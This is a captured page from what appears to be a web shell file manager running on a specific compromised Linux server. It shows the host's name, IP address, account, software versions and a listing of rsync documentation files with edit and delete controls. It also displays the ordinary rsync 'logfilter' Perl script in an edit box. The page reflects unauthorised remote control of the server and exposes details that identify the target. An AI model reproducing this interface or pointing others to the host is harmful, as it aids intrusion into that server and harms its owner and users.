[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
rsync
/
support
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 Makefile
80 B
SET
[ EDIT ]
|
[ DEL ]
📄 atomic-rsync
3,995 B
SET
[ EDIT ]
|
[ DEL ]
📄 cvs2includes
1,212 B
SET
[ EDIT ]
|
[ DEL ]
📄 deny-rsync
997 B
SET
[ EDIT ]
|
[ DEL ]
📄 file-attr-restore
4,932 B
SET
[ EDIT ]
|
[ DEL ]
📄 files-to-excludes
534 B
SET
[ EDIT ]
|
[ DEL ]
📄 git-set-file-times
910 B
SET
[ EDIT ]
|
[ DEL ]
📄 instant-rsyncd
2,783 B
SET
[ EDIT ]
|
[ DEL ]
📄 logfilter
1,100 B
SET
[ EDIT ]
|
[ DEL ]
📄 lsh
2,259 B
SET
[ EDIT ]
|
[ DEL ]
📄 lsh.sh
956 B
SET
[ EDIT ]
|
[ DEL ]
📄 mapfrom
629 B
SET
[ EDIT ]
|
[ DEL ]
📄 mapto
621 B
SET
[ EDIT ]
|
[ DEL ]
📄 mnt-excl
1,844 B
SET
[ EDIT ]
|
[ DEL ]
📄 munge-symlinks
1,462 B
SET
[ EDIT ]
|
[ DEL ]
📄 rrsync
7,239 B
SET
[ EDIT ]
|
[ DEL ]
📄 rsync-no-vanished
267 B
SET
[ EDIT ]
|
[ DEL ]
📄 rsync-slash-strip
643 B
SET
[ EDIT ]
|
[ DEL ]
📄 rsyncstats
8,687 B
SET
[ EDIT ]
|
[ DEL ]
📄 savetransfer.c
4,560 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: logfilter
#!/usr/bin/perl # Filter the rsync daemon log messages by module name. The log file can be # in either syslog format or rsync's own log-file format. Note that the # MODULE_NAME parameter is used in a regular-expression match in order to # allow regex wildcards to be used. You can also limit the output by # directory hierarchy in a module. Examples: # # logfilter foo /var/log/rsyncd.log # output lines for module foo # logfilter foo/dir /var/log/syslog # limit lines to those in dir of foo use strict; my $match = shift; die "Usage: logfilter MODULE_NAME [LOGFILE ...]\n" unless defined $match; my $syslog_prefix = '\w\w\w +\d+ \d\d:\d\d:\d\d \S+ rsyncd'; my $rsyncd_prefix = '\d\d\d\d/\d\d/\d\d \d\d:\d\d:\d\d '; my %pids; while (<>) { my($pid,$msg) = /^(?:$syslog_prefix|$rsyncd_prefix)\[(\d+)\]:? (.*)/o; next unless defined $pid; my($mod_spec) = $msg =~ /^rsync (?:on|to) (\S+) from /; if (defined $mod_spec) { if ($mod_spec =~ /^$match(\/\S*)?$/o) { $pids{$pid} = 1; } else { delete $pids{$pid}; } } next unless $pids{$pid}; print $_; }